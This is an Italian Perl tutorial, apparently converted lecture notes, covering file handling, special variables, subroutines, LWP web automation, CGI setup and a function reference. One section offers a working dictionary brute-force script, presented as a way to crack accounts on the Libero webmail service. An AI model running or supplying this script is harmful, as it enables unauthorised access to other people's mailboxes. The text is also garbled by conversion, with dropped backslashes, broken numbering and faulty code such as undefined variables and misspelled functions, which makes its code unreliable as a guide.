Età in giorni dall'ultima modifica al file

s

-A

Età in giorni dall'ultimo accesso

s

-C

Età in giorni dall'ultima modifica di
inode

s

Oppure utilizzo in colpo solo la funzione stat che resituisce in un colpo solo 13 argomenti:

@a =stat "C:proveBattiato.mp3";
print "@an";

Valore

Descrizione Unix

Descrizione Win32

$a[0]

Numero dispositivo

numero dei drive

$a[1]

Numero di inode

zero

$a[2]

Modo dei file: read/write/execute

$a[3]

Numero di link al file

1

$a[4]

User ID

0

$a[5]

Group ID

0

$a[6]

ldentificatore dispositivo

numero drive

$a[7]

Dimensione file in byte

Dimensione file in byte

$a[8]

Ultimo istante di accesso

Ultimo istante di accesso

$a[9]

Ultimo istante di modifica

Ultimo istante di modifica

$a[10]

Ultimo istante di creazione

Ultimo istante di creazione

$a[11]

Dimensione dei blocco dei disco

0

$a[12]

Numero di blocchi per file

0

Eliminare un File
unlink "C:proveBattiato.mp3";
unlink <*.txt>;

Luigi Capuzzello

# Cancella il file indicato
# elimina tutti i file *.txt


Rinominare un File
rename('uno.txt', 'ciao.html');
rename('c:/a/ciao.html','c:/a/b/uno.txt');

Modifica dei permessi di un File
chmode(mode, lista file);
chmode(744, 'uno.txt', 'due.txt', 'tre.txt');
dove ad esempio mode vale:

-

666 per indicare permesso read/write
444 per indicare permesso di sola lettura

Cambiare la directory
chdir(nuova_directory);

Aprire una Directory, leggere i File e chiudere una Directory
$dir = 'c:prove';
opendir(prove, $dir) or die "Non riesco ad aprire $dir";
while($file_base = readir(prove)){
print "$file_basen";
}
closedir(prove);
oppure

$dir = 'c:prove';
opendir(prove, $dir) or die "Non riesco ad aprire $dir";
@nomi_file = readir(prove);
print "@nomi-filen";
closedir(prove);

Creare e Cancellare una Directory
mkdir('prove2', 777);
rmdir('prove2');

Luigi Capuzzello


VII. Variabili Speciali
$_

-variabile di default

Rappresenta la variabile di default; molte funzioni prendono quella come variabile se non diversamente specificato.
Ad esempio

$_ = "bla bla blan";
print;
Visualizza ‘bla bla bla’

$#array

-Size dell’array

Restituisce il numero di elementi di un array

$$ $< $0 $! $? $@

-variabili sullo stato del programma

$$ visualizza il PID del programma
$< visualizza l'UID dell'utente che ha eseguito il programma
$0 visualizza il nome del programma
$! visualizza lo stato dell'ultima chiamata del programma
$? visualizza lo stato di ritorno dell'ultima operazione di esecuzione di un processo esterno
$@ visualizza l'ultimo messaggio di errore prodotto dallo script

ARGV

-variabili passate al mio script

Per prelevare le informazioni che vengono passate al mio script uso l’array ARGV.

$ARGV[0] || die "Devi specificare la stringa da cercaren";
@file = `ls -1`;
chop(@file);
foreach $file (@file) {
-T $file || next;
open(FILE, "<$file") ||next;
while ($r = <IN>) {
$r =~ /$ARGV[0]/ && print "$file: $r";
}
close (IN);
}
Oppure

$filename = $ARGV[0];
open(FILE, "< $filename") || die "Errore!nn";
while ($riga = <FILE>) {
print "$riga";
}

%ENV

-varaibili d’ambiente

Tutte le variabili d’ambiente vengono catturate dall’interpreter Perl che le mette nello Hash %ENV.

#!/usr/bin/perl
print "Path è: $ENV{PATH}n";

Luigi Capuzzello


VIII. Variabili Speciali
Dichiarazione di funzioni
Per dichiarare una funzione basta fare:
sub nome_della_funzione {
contenuti;
della;
funzione;
}

Passare dati a una funzione
All'interno di una sub, possiamo aver accesso ai parametri passati (se ce ne sono) tramite lo speciale array @_ . Così il
primo valore passato alla sub sarà $_[0], il secondo $_[1] e così via.

sub print_first_argument {
print $_[0], "n";
}
sub print_number_of_arguments {
print $#_ +1, "n";
}

Utilizzare una funzione
Per utilizzare una funzione bisogna sembra fare riferimento al nome della stessa preceduto da &.
Dunque &<Nome-funzione>

sub addone {
$_[0] = $[0] +1;
return $_[0];
}
$Numero = 3;
&addone($Numero);
&addone($Numero,$Numero2,$Numero3);
Oppure per passare più di un valore posso fare così:

print "Inserisci i numeri:n";
@numeri = <STDIN>;
chop (@numeri);
$media = &media(@numeri);
print "Media = $median";

local -Dichiarazione di variabili locali
Questo crea queste nuove variabili nel momento dell'esecuzione, salvando i precedenti valori delle variabili con lo
stesso nome (se esistono); in seguito, alla fine del blocco {} in cui erano incluse, queste variabili locali vengono
distrutte, ed il loro valore iniziale viene ripristinato. Le variabili locali possono essere inizializzate nei seguenti modi:

local($variable, $anothervar, @even_an_array);
local($variable, $anothervar)=(value, anothervalue);

Luigi Capuzzello


IX. Web Automation
LWP: classi principali
Il modulo LWP contiene un insieme molto grande di classi che possono essere utilizzate. Le più importanti sono:
LWP::UserAgent: usata per creare dei browser virtuali che siano in grado di effettuare delle Request;
HHTP::Response: in grado di gestire le risposte (o i messaggi di errore) delle varie Request.

HTTP::Response -Metodi principali
La maniera più semplice per usare le due classi è la segunte:
$response = $browser->get($url)
In questo caso l’oggetto $response è già un HTTP::Response
I metodi più importanti dell’oggetto HTTP::Response sono:
- $response->is_success: che mi dice se la richiesta di una data pagina ha avuto o meno successo;
- $response->status_line: nel caso di errore mi restituisce informazioni circa il fallimento (404 – Not found);
- $response->content_type: mi da informazioni sul MIME content-type della pagina aperta (text/html – image/gif);

Aggiungere HTTP Request Header
È anche possibile inserire altri Header alla richiesta di una pagina con http. Per farlo è sufficiente:
my @ns_headers = (
'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',
'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*',
'Accept-Charset' => 'iso-8859-1,*,utf-8',
'Accept-Language' => 'en-US',
);
...
$response = $browser->get($url, @ns_headers);

Cookies
I cookies vengono gestiti con l’ oggetto cookie_jar. Questo oggetto rimappa sia i cookies salvati su disco sia quelle
residenti in memoria che vengono definitivamente persi una volta chiuso il browser.
Per creare in memory cookies dobbiamo fare così:
use LWP;
my $browser = LWP::UserAgent->new;
$browser->cookie_jar($cookie_jar);
In questo caso ho creato un vaso (jar) che conterrà in memoria i nostri cookies e l’ho chiamato $cookie_jar.
Per creare cookies da leggere e scrivere su file dobbiamo invece fare così:
use HTTP::Cookies;
$browser->cookie_jar( HTTP::Cookies->new(
'file' => '/some/where/cookies.lwp',
'autosave' => 1,
));
-

# where to read/write cookies
# save it to disk when done

File: è il nome del file su cui i cookies vengono salvati e da cui vengono prelevati i cookies;
Autosave: vale 1 se i cookies devono essere salvati sul file prima che l’oggetto http::Cookies venga distrutto;
Ignore_discard: vale 1 se devono essere forzatamente salvati su file i cookies che dovrebbero essere
eliminati;

$cookie_jar->add_cookie_header($request)
Questo metodo cerca se c’è un cookies jar (vaso) salvato, corrispondente all’URL richiesto. Se lo trova aggiunge tali
valori come Cookies Header e li invia insieme alla richiesta.

Luigi Capuzzello


$cookie_jar->set_cookie($version, $key, $value, $path, $domain, $port,...)
version: A string containing the cookie-spec version number.
key: The name of the cookie.
Val: The value of the cookie.
Path: The pathname of the URL for which the cookie is set.
Domain: The domain name for which the cookie is set.
port :The port number of the URL for which the cookie is set.
$cookie_jar->clear($domain, $path, $key)
Posso settare uno, due o tutti e tre i parametri. A seconda di quello che scelgo posso arrivare a cancellare un cookie:
di uno specifico dominio,
all’interno di uno specifico percorso (del dominio)
e all’interno di quel percorso il cookie con un certo nome.

Effettuare un POST
La sintassi più generica per inviare dati tramite un POST è la seguente:
$response = $browser->post( $url,
[
formkey1 => value1,
formkey2 => value2,
...
],
headerkey1 => value1,
headerkey2 => value2,
);

# Campo-Valore da inviare con il POST

# Header aggiuntivo

questa sintassi consente di inviare le coppie campo-valore da inviare con il POST e degli HEADER aggiuntivi. Ad
esempio:
use strict;
use warnings;
use LWP 5.64;
my $word = 'tarragon';
my $url = 'http://www.altavista.com/sites/search/web';
my $response = $browser->post( $url,
[ 'q' => $word,
# the Altavista query string
'pg' => 'q',
'avkw' => 'tgz',
'kl' => 'XX',
]
);
die "$url error: ", $response->status_line
unless $response->is_success;
die "Weird content type at $url -- ", $response->content_type
unless $response->content_type eq 'text/html';
if( $response->content =~ m{AltaVista found ([0-9,]+) results} ) {
# The substring will be like "AltaVista found 2,345 results"
print "$word: $1n";
} else {
print "Couldn't find the match-string in the responsen";
}

Effettuare un GET
La sintassi da usare per ottenere una GET di questo tipo : http://us.imdb.com/Tsearch?title=Blade
%20Runner&restrict=Movies+and+TV
È la segunte:

Luigi Capuzzello


use URI;
my $url = URI->new( 'http://us.imdb.com/Tsearch' );
$url->query_form(
# And here the form data pairs:
'title' => 'Blade Runner',
'restrict' => 'Movies and TV',
);
my $response = $browser->get($url);

Usare PROXY
Per consentire all’oggetto browser di utilizzare i Proxy è sufficiente la riga di codice
use LWP;
my $browser = LWP::UserAgent->new
$browser ->proxy(['http', 'ftp'], 'http://proxy.sn.no:8001/');
Se poi servono delle credenziali per accedere al web proxy allora posso usare il metodo credential
$browser->credentials(
'servername:portnumber',
'realm-name',
'username' => 'password'
);

HTTPS
Valgono le stesse considerazioni degli accessi via HTTP

HTTP Authentication
Talvolta l’accesso ai documenti da internet richiede una HTTP Authentication. In questo caso non appare una semplice
form di inserimento User e Password perché il documento appartiene ad un dominio. Bisogna pertanto fornire delle
credenziali specifiche.
Ad esempio:
Supponiamo di voler accedere al documento:

http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html
In questo caso ci apparirà la form di HTTP Authentication:

Se noi proviamo ad automatizzare l’accesso al documento con il classico:
use LWP 5.64;
my $url ='http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html';
my $response = $browser->get($url);

Luigi Capuzzello


die "Error: ", $response->header('WWW-Authenticate') ||
'Error accessing',
# ('WWW-Authenticate' is the realm-name)
"n ", $response->status_line, "n at $urln Aborting"
unless $response->is_success;
Otteniamo il seguente errore:
Error: Basic realm="Unicode-MailList-Archives"
401 Authorization Required
at http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html
Aborting at auth1.pl line 9. [or wherever]
Per ottenere il documento dobbiamo allora fornire le giuste credenziali con la seguente sintassi:
use LWP 5.64;
$browser->credentials(
'servername:portnumber',
'realm-name',
'username' => 'password'
);

Pagine di grosse dimensioni.
Per non caricare pagine di grosse dimensioni in memoria posso usare la segunte sintassi
$response = $ua->get($url,
':content_file' => $filespec,
);
Ad esempio:
$response = $ua->get('http://search.cpan.org/',
':content_file' => '/tmp/sco.html'
);
Attenzione!!
In questo modo $response- conterrà tutti gli Header normali ma $response->content sarà vuoto!

Esempio riepilogativo: Accedere al Sy@net con User e Password.
Il Perl mette a disposizione un notevole numero di moduli che facilitano la gestione delle pagine Web. Il loro utilizzo è
semplice e consente di velocizzare notevolmente alcune operazioni che vengono svolte ripetutamente come ad
esempio l’accesso ad una determinata pagina con un Login per controllare che nella Home non siano presenti articoli
che mi interessano.
In questo caso potremmo utilizzare uno Script di questo tipo:
#!/usr/bin/perl -w
use
use
use
use

strict;
LWP::UserAgent;
HTTP::Cookies;
IO::Handle;

autoflush STDERR 1;
#
# Istanzio anche l’oggetto cookies che in qusto caso non serve a nulla ma in altri casi potrebbe servire.
my $cookies = HTTP::Cookies->new;
#
# LWP::UserAgent setup:
# Lo UserAgent è in sostanza il gestore della connessione tcp/ip. Potrebbe essere visto come il browser.
# In questo caso definisco alcune caratteristiche del browser e gli inietto gli eventuali cookies
my $ua
= LWP::UserAgent->new(
keep_alive
=> 1,
agent
=> 'SIBot/1.0',
requests_redirectable => ['HEAD', 'GET', 'POST'],
cookie_jar
=> $cookies,

Luigi Capuzzello


);
$ua->env_proxy;
#
# Prelevo da riga di comando lo user e la password con cui accedere alla pagina web
print STDERR "Login: ";
my $user = <STDIN>;
chomp $user;
print STDERR "Password: ";
my $pass = <STDIN>;
chomp $pass;
#
#
#
#
#

Mi collego alla pagina di LOGIN!! Non alla Home.
metto nell’oggetto $login la risposta al POST. Per farlo passo al POST:
- URL della pagina che contiene il login;
- tutte le coppie ‘campo’ => ‘valore’ che servono al POST per effettuare il Login

my $login = $ua->post('http://dok/synet/Logon.asp', {
UID => $user,
PWD => $pass,
PIN => '',
IDSUBMIT1 => 'Login',
KEYFOUND => 'true',
IPc => '192.168.110.91',
});
#
# L’oggetto $login così creato ha a dispozione i seguenti metodi:
# - $login->is_success: mi dice se l’operazione (intesa come verifica dell’esistenza della pagina,
#
apertura della porta 80) è tecnicamente riuscita;
# - $login->content: contiene tutto il codice HTML della risposta ottenuta del WebServer
die "Errore: ".$login->content unless $login->is_success;
#
# A questo punto chiedo al sistema di prendere la pagina della Home.asp.
# Se il login è andato a buon fine allora otterrò la pagina che desidero, altrimenti la pagina che mi dice che
# il login non è corretto
my $HomePag = $ua->get('http://dok/synet/Home.asp');
# Controllo comunque che la pagina 'http://dok/synet/Home.asp' esista
die "Impossibile mostrarti la Home.asp!" unless $HomePag->is_success;
print $HomePag->content;
#
# A questo punto dalla pagina che ricevo estraggo i dati che mi interessano
my @list = grep(m#<a href="[^"]+"><b>[^<]+</b></a>#,
split(/[rn]/, $articles->content));
foreach (@list[0 .. 9]) {
m#<a href="([^"]+)"><b>([^<]+)</b></a>#;
print "$2nhttp://freshmeat.net$1n";
}

Luigi Capuzzello


Esempio riepilogativo: Craccare gli account di Libero.
Con la Web Automation posso provare (ma bisogna avere un vocabolario mirato) a craccare le password di accesso a
libero. Per farlo basta conoscere i dati che devono essere inviati con il POST alla pagina di Login.
Molto utile in questo caso può essere un briwser come FireFox che consente di analizzare su una data pagina, tutte le
form che sono presenti e per ogni form tutti i get e i post che possono essere fatti con i relativi parametri! Per farlo
basta andare sulla pagina desiderata; tasto destro; visualizza info pagina; andare al tab moduli.
# Apro la connessione al Dizionario
#
$ARGV[0] || die "nUtilizzare la seguente sintassinbruteLibero.pl <Utente di libero> <Percorso del Dizionario>nnAd
esempio:n BruteLibero luigi.capuzzello .Dizio.txtn";
$ARGV[1] || die "nUtilizzare la seguente sintassinbruteLibero.pl <Utente di libero> <Percorso del Dizionario>nnAd
esempio:n BruteLibero luigi.capuzzello .Dizio.txtn";
$NomeFile=$ARGV[1];
open(a, "<$NomeFile") or die "Non trovo il file <$ARGV[0]>";
#
# Apro la connessione alla pagina di Libero
#
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use IO::Handle;
autoflush STDERR 1;
#
# LWP::UserAgent setup
#
my $cookies = HTTP::Cookies->new;
my $ua
= LWP::UserAgent->new(
keep_alive
=> 1,
agent
=> 'SIBot/1.0',
requests_redirectable => ['HEAD', 'GET', 'POST'],
cookie_jar
=> $cookies,
);
$ua->env_proxy;
my $suser=$ARGV[0];
my $spwd;
my $login;
while($spwd=<a>){
#
#Per ogni parola del Dizionario provo ad entrare
#
chomp($spwd);
$login = $ua->post('http://wpop3.blu.libero.it/email.php', {
LOGIN => $suser,
PASSWD => $spwd,
dominio => 'libero.it',
choice => 'libero',
Act_Login => 'Entra',
'Act_Login.x' => 29,
'Act_Login.y' => 12,
});
die "Errore: ".$login->content unless $login->is_success;
print "nSono entrato e... ";
if ($login->content =~ /Leggi mail/g) {
#if ($login->content =~ /DOCTYPE HTML PUBLIC/g) {
print "Congratulation StarFigther The Password is...".$spwd."nn";}
else {
print "Dho'! <$spwd> non sembra la Password corretta !n";}
#print "$rigan";
}
close(a);

Luigi Capuzzello


Riferimenti:
http://www.siforge.org/articles/2005/02/17-perl_web_automation.html
http://www.siforge.org/articles/2003/11/10-guida_sessioni_php.html
http://www.perl.com/pub/a/2002/08/20/perlandlwp.html

Luigi Capuzzello


IX. CGIPerl
Installazione dell’ambiente
Per poter realizzare pagine HTML dinamiche con il perl bisogna avere installato sulla propria macchina:
ActivePerl;
Apache per W32
Entrambi i programmi sono nella cartella Software della sezione Perl.
L’installazione di Apache è spiegata dettagliamene con un file di help dentro a SoftwareApacheInstallazione W32 di
Apache e Perl.htm
In sostanza non ci sono particolari difficoltà: se un IIS sta già andando sulla macchina le possibilità sono due:
1. si installa Apache su una porta diversa modificando il file di configurazione ‘httpd’;
Listen 80
--> Listen 8080
ServerName your-server-name:80
--> ServerName your-server-name:8080
2.

si attivano/disattivano di volta in volta sulla porta 80 IIS o Apache

Una volta installato il server Apache controllare che nel file di configurazione ‘httpd’ vi sia la riga che specifica l’alias
del percorso del sito dove metteremo le nostre pagine CGI (script Perl).
ScriptAlias /cgi-bin/ "C:/Programmi/Apache Group/Apache2/cgi-bin/"

Una guida è su http://www.cgi101.com/book/ch1/text.html

Luigi Capuzzello


Parallel::ForkManager 0.7

Perl module - Part of CPAN distribution Parallel-ForkManager 0.7.3.

Installazione del modulo
Per installare il modulo occorre scaricare il contenuto di:
http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.5.tar.gz
scompattare la cartella
perl MakePL.pl
make
make install

NAME
Parallel::ForkManager - A simple parallel processing fork manager

SYNOPSIS
use Parallel::ForkManager;
$pm = new Parallel::ForkManager($MAX_PROCESSES);
foreach $data (@all_data) {
# Forks and returns the pid for the child:
my $pid = $pm->start and next;
... do some work with $data in the child process ...
$pm->finish; # Terminates the child process
}
DESCRIPTION
This module is intended for use in operations that can be done in parallel where the number of processes to be forked
off should be limited. Typical use is a downloader which will be retrieving hundreds/thousands of files.
The code for a downloader would look something like this:

use LWP::Simple;
...
@links=(
["http://www.foo.bar/rulez.data","rulez_data.txt"],
["http://new.host/more_data.doc","more_data.doc"],
...
);
...
# Max 30 processes for parallel download
my $pm = new Parallel::ForkManager(30);
foreach my $linkarray (@links) {
$pm->start and next; # do the fork
my ($link,$fn) = @$linkarray;
warn "Cannot get $fn from $link"
if getstore($link,$fn) != RC_OK;
$pm->finish; # do the exit in the child process
}
$pm->wait_all_children;

First you need to instantiate the ForkManager with the "new" constructor. You must specify the maximum number of
processes to be created. If you specify 0, then NO fork will be done; this is good for debugging purposes.
Next, use $pm->start to do the fork. $pm returns 0 for the child process, and child pid for the parent process (see also
perlfunc(1p)/fork()). The "and next" skips the internal loop in the parent process. NOTE: $pm->start dies if the fork
fails.
$pm->finish terminates the child process (assuming a fork was done in the "start").
NOTE: You cannot use $pm->start if you are already in the child process. If you want to manage another set of
subprocesses in the child process, you must instantiate another Parallel::ForkManager object!

METHODS
new $processes

Luigi Capuzzello


Instantiate a new Parallel::ForkManager object. You must specify the maximum number of children to
fork off. If you specify 0 (zero), then no children will be forked. This is intended for debugging
purposes.
start [ $process_identifier ]
This method does the fork. It returns the pid of the child process for the parent, and 0 for the child process. If the $processes
parameter for the constructor is 0 then, assuming you're in the child process, $pm->start simply returns 0.
An optional $process_identifier can be provided to this method... It is used by the "run_on_finish" callback (see CALLBACKS)
for identifying the finished process.
finish [ $exit_code ]
Closes the child process by exiting and accepts an optional exit code (default exit code is 0) which can
be retrieved in the parent via callback. If you use the program in debug mode ($processes == 0), this
method doesn't do anything.
set_max_procs $processes
Allows you to set a new maximum number of children to maintain. Returns the previous setting.
wait_all_children
You can call this method to wait for all the processes which have been forked. This is a blocking wait.

CALLBACKS
You can define callbacks in the code, which are called on events like starting a process or upon finish.
The callbacks can be defined with the following methods:
run_on_finish $code [, $pid ]
You can define a subroutine which is called when a child is terminated. It is called in the parent process.
The paremeters of the $code are the following:
- pid of the process, which is terminated
- exit code of the program
- identification of the process (if provided in the "start" method)
- exit signal (0-127: signal name)
- core dump (1 if there was core dump at exit)
run_on_start $code
You can define a subroutine which is called when a child is started. It called after the successful startup of a child in
the parent process.
The parameters of the $code are the following:
- pid of the process which has been started
- identification of the process (if provided in the "start" method)
run_on_wait $code
You can define a subroutine which is called when the child process needs to wait for the startup. One call is done per
child, and this is called only in the "start" method, it is not called in "wait_all_children".
No parameters are passed to the $code.

EXAMPLE: Parallel get
This small example can be used to get URLs in parallel.

use LWP::Simple;
my $pm=new Parallel::ForkManager(10);
for my $link (@ARGV) {
$pm->start and next;
my ($fn)= $link =~ /^.*/(.*?)$/;
if (!$fn) {
warn "Cannot determine filename from $fnn";
} else {
$0.=" ".$fn;
print "Getting $fn from $linkn";
my $rc=getstore($link,$fn);
print "$link downloaded. response code: $rcn";
};
$pm->finish;
};

Luigi Capuzzello


Callbacks
Example of a program using callbacks to get child exit codes:

use strict;
my $max_procs = 5;
my @names = qw( Fred Jim Lily Steve Jessica Bob Dave Christine Rico Sara );
# hash to resolve PID's back to child specific information
my $pm = new Parallel::ForkManager($max_procs);
# Setup a callback for when a child finishes up so we can
# get it's exit code
$pm->run_on_finish(
sub { my ($pid, $exit_code, $ident) = @_;
print "** $ident just got out of the pool ".
"with PID $pid and exit code: $exit_coden";
}
);
$pm->run_on_start(
sub { my ($pid,$ident)=@_;
print "** $ident started, pid: $pidn";
}
);
$pm->run_on_wait(
sub {
print "** Have to wait for one children ...n"
}
);
foreach my $child ( 0 .. $#names ) {
my $pid = $pm->start($names[$child]) and next;
# This code is the child process
print "This is $names[$child], Child number $childn";
sleep ( 2 * $child );
print "$names[$child], Child $child is about to get out...n";
sleep 1;
$pm->finish($child); # pass an exit code to finish
}
print "Waiting for Children...n";
$pm->wait_all_children;
print "Everybody is out of the pool!n";
BUGS AND LIMITATIONS
Do not use Parallel::ForkManager with fork and wait. Do not use more than one copy of Parallel::ForkManager in one
process!

Luigi Capuzzello


Appendice A. Elenco delle funzioni

Le cosiddette "builtin functions" sono i normali 'comandi' del perl, che accettano argomenti, fanno qualcosa a livello
degli argomenti o di sistema, e danno in ritorno dei valori. Per informazioni più dettagliate, si veda "man perlfunc".
Molte funzioni non hanno bisogno di argomenti tra (), ma nelle operazioni più complicate le parentesi tonde sono
necessarie per chiarire cosa è riferito a cosa. Tipicamente, quindi, le () si evitano nelle linee più semplici, come print
$bleah; , ma devono essere incluse quando c'è più di una funzione che viene invocata nella stessa dichiarazione.
Le dichiarazioni in perl terminano sempre con il segno ;
Funzioni (in ordine alfabetico):
1.

atan2 Funzione matematica: restituisce l'arcotangente di un valore. La si può anche trovare con
sub tan { sin($_[0]) / cos($_[0]) }

2.

binmode Apre un file in modalità binaria; deve essere invocato dopo il comando open (che apre il file):

3.

open (FILE, file.bin);
binmode FILE;
chdir Cambia la directory di lavoro con quella indicata come argomento della funzione

4.

chdir ($HOME) or die "You're homeless!n";
chmod Accetta come argomenti un numero e una lista di file, e setta il permesso su quei file in funzione del
numero assegnato. Il numero deve essere espresso in notazione ottale.
Il valore di uscita è false se è 0 o '', true in qualsiasi altro caso:
chmod 0644, "README", "INSTALL";

5.

@list = ( "abc", "def", "ghi")
chmod 755, @list;
chop Prende come argomento uno scalare, ed elimina l'ultimo carattere, restituendolo. Spesso è utilizzato per
eliminare il carattere n dai file e dagli input da tastiera.
$a = "scalare"; $b = chop($a);
Nella maggior parte dei casi, non ci interessa il valore restituito, quindi basta semplicemente dare:
chop $a; oppure solamente:
chop;

6.

che opera con $_ . Si noti che, ai nostri fini, chomp è equivalente a chop.
chown Analogo al comando chown dei sistemi Unix: cambia il proprietario di uno o più file. I primi 2
argomenti che si devono passare a questa funzione sono l'uid (user id) ed il gid (group id) numerici, poi il file
o i file da sottoporre alla funzione. In generale, la sintassi è:
chown $uid, $gid, @filenames;
oppure

7.
8.

chown $uid, $gid, 'file1', 'file2' ...... ;
cos Funzione matematica. Restituisce il coseno del parametro (espresso in radianti) passato alla funzione. Se
si omette il parametro, cos opera su $_
do Esegue un blocco di comandi e restituisce il valore dell'ultima espressione presa in considerazione. La
sintassi è:
do BLOCCO;
Un'utile implementazione di "do" può essere quella di ripetere una porzione dicodice finchè una certa
condizione sia verificata. Vediamo come:
do {
print "Scegli 1 o 2n";
chop($sel=<STDIN>);
until " 1 2 " =~ / $sel /;
if ($sel == '1') {
print "Hai scelto 1n";
} elsif ($sel == '2') {
print "Hai scelto 2n";
}

Luigi Capuzzello


9.

In pratica, questo script visualizza "hai scelto 1" o "hai scelto 2" a seconda del tasto premuto dall'utente, a
meno che questi abbia premuto qualsiasi altro tasto: in questo caso, lo script si disinteressa del tasto premuto
e continua a visualizzare "Scegli 1 o 2". A cosa può servire tutto questo? Semplice: togliete da questo script le
prime quattro linee e premete "3" quando vi viene chiesto di scegliere 1 o 2: lo script si blocca ed esce: non
succede niente di male, sia chiaro, ma se avete uno script di qualche centinaio di righe che si blocca per una
simile piccolezza, la cosa può dare fastidio.
die Prende come argomento una stringa ed esce immediatamente dal programma visualizzando tale stringa
come messaggio d'errore.

if ($num != 18) {
die "Non è 18n";
}
10. eval Prende un'espressione come argomento e la esegue come fosse un piccolo programma. Se non viene
indicato alcu argomento, eval valuta $_ . Eval restituisce il valore dell'ultima espressione considerata, ma si
può ricorrere a return per restituire il valore ad un determinato punto del blocco. Nel seguente esempio si
vede come è possibile eseguire la stessa operazione con do e con eval:
do 'script.pl';
eval `cat script.pl`;
Attenzione agli apici inversi: ' questo è un apostrofo ` questo è l'apice inverso
11. exec Esce dallo script Perl eseguendo un altro progrmamma. Normalmente, exec non rientra in perl, ma se
anche dovesse farlo, restituisce il valore falso, controllando cos'è successo tramite l'analisi di $! . Se si
volesse ritornare all'interno dello script, è consigliato utilizzare la funzione system
12. exit Prende un numero come argomento, ed esce con quel numero come codice di stato.
exit 0; per uscire con successo
exit 1; o qualsiasi valore diverso da 0
esce senza successo.
La differenza con die è che die viene utilizzato nei casi tipo "questo non sarebbe dovuto succedere".
13. exp Funzione matematica. Calcola il valore di e elevato al parametro fornito con exp: in mancanza di questo,
agisce su $_
14. getpgrp Utilizzato con la sintassi 'getpgrp PID' restituisce i/l processo/i appartenente/i al PID specificato. Se
si utilizza questa funzione su sistemi che non implementano la chiamata getgpgrp (si veda man getpgrp),
produce un errore irreversibile.
15. goto Sintassi: goto label: ricerca la riga contrassegnata da label e riprende l'esecuzione da essa. La sintassi
può anche essere goto expr oppure goto &name (si veda la manpage per ulteriori approfondimenti)
16. grep Esegue la stessa cosa del comando 'grep' nei sistemi Unix. In pratica, ricerca una stringa e restituisce
gli elementi per i quali l'espressione risulta vera. Si veda la solita man perlfunc e man perl (nei sistemi Unix)
17. join Prende una stringa ed una lista di valori di uno o più array, e produce una stringa ottenuta con tutti i
valori dell'array, usando la stringa come separatore.
$bah = (":", "eek", "niente", 34); $bah diventa "eek:niente:34"
@array = ("uff", "abc", "foo");
print (join(" ", @array, "eek"), "n");
visualizza "uff abc foo eek"
18. keys Restituisce una lista costituita da tutte le chiavi dell'hash indicato:
$bla{'eek'} = "*pat*";
$bla{'uff'} = "erp";
@thekeys = keys(%bla);
@thekeys è ("eek", "uff")
print (join(" ", keys(%bla)), "n";);
visualizza "eek uff"
19. kill Invia un segnale ad un processo. La si può utilizzare come kill 'STOP' processo; per i segnali, is veda man
7 signal.
20. last interrompe l'esecuzione il ciclo in questione (simile al BREAK del C). Se non viene specificato il ciclo, last
is riferisce al più interno.
LINE: while <STDIN> {
last LINE if /^$/;
esce quando ha terminato con gli headers
.......

Luigi Capuzzello


il resto del ciclo
}
21. lenght Prende una stringa e restituisce la sua lunghezza $n = "blip";
$l = $lenght($n);
$l è 4
print (lenght(34), "n");
restituisce 2
22. link Crea un link al file specificato, con la sintassi uguale a quella dei sistemi Unix:
link OLDFILE, NEWFILE
23. local Modifica le variabili elencate in modo da diventare locali limitatamente al blocco corrente. Se in lista ci
sono più variabili, queste devono essere racchiuse tra parentesi. In alternativa a local, si può utilizzare anche
my.
local $variabile;
dichiara $variabile locale
local (@array, %hash);
dichiara la lista di variabili locali
local $var = "valore";
dichiara $var locale e le assegna un valore
Per una trattazione più completa, si veda la sezione 'Temporary Values via local()' in man perlsub.
24. log Funzione matematica: restituisce il logaritmo in base e dell'argomento passato alla funzione (o, come
sempre, agisce su $_ )
25. mkdir Crea una directory, di cui il primo elemento è il nome, il secondo i permessi su di essa:
mkdir "files", 0755;
o meglio:
if (!mkdir("files", 0755)) {
die "failed to create directoryn";
}
26. my Dichiara che le variabili considerate sono locali rispetto al blocco che le contiene, alla subroutine o al file
corrente; se vengno specificate più variabili, queste devono essere racchiuse tra parentesi. A differenza delle
variabili create con 'local', queste rendono completamente 'invisibili' le variabili globali con lo stesso nome.
Per informazioni più dettagliate, si veda Private Variables via my() in man perlsub
27. next Analogo all'istruzione CONTINUE del C, permette di passare direttamente l'interazione del ciclo
contrassegnata da dall'etichetta LABEL

28.
29.
30.
31.
32.
33.
34.
35.

LINE: while (<STDIN>) {
next LINE if /^#/;
altro
}
oct Interpreta l'argomento passato come parametro della funzione come un valore ottale e lo restituisce in
valore decimale
open Apre il file indicato come argomento della funzione. Il file può essere aperto in diversi modi:
con < viene aperto in lettura
con >> viene aperto in scrittura
con >> il contenuto non viene sovrascritto, ma i nuovi dati vengono aggiunti in coda al file
con + davanti a < o > per indicare che il file deve essere aperto in lettura e scrittura
se inizia con | , viene visto come un comando a cui l'output viene passato
se termina con | , viene visto come un comando da cui viene prelevato l'input
open /usr/src/linux/README
Apre il file
open log >> /tmp/log
Apre il file log e ne passa il contenuto a /tmp/log, senza sovrascriverlo
open <file;
Apre il file per la modifica

open(FILE, "<miofile;");
Come sopra, solo che poi sarà possibile agire su FILE
36. pop Estrae e restituisce l'ultimo valore di un array riducendone di 1 le dimensioni. Se l'array è vuoto,
restituisce ''

Luigi Capuzzello


37. print Stampa una stringa o una lista di stringhe. Restituisce 1 se eseguito con successo, 0 altrimenti
print "Hello worldn";
quante volte vedrete questo esempio!
$bla = 3
print "Il valore di 'bla' è $blan";
visualizza "il risultato di 'bla è 3"
38. push Aggiunge uno o più elementi in coda all'array ampliandone la lunghezza
@bla = ("a");
$arr = "xterm";
push(@bla, "eek", $arr, 12.5)
@bla risulta ( "a","eek", $arr, 12.5);
39. quotemeta Restituisce una variante dell'argomentoin cui gli eventuali metacaratteri sono resi con l'aggiunta
del carattere backslash ( )
quotemeta ".*" restituisce ".*"
rand La funzione random. Passando un argomento numerico alla funzione, questa restituirà un valore casuale
compreso tra 0 e il numero indicato. Se non è fornito alcun argomento, restituirà un valore compreso tra 0 e
1, estremi inclusi
40. readlink Passandogli un link come argomento, la funzione restituisce il nome del file ( o directory) a cui quel
file punta
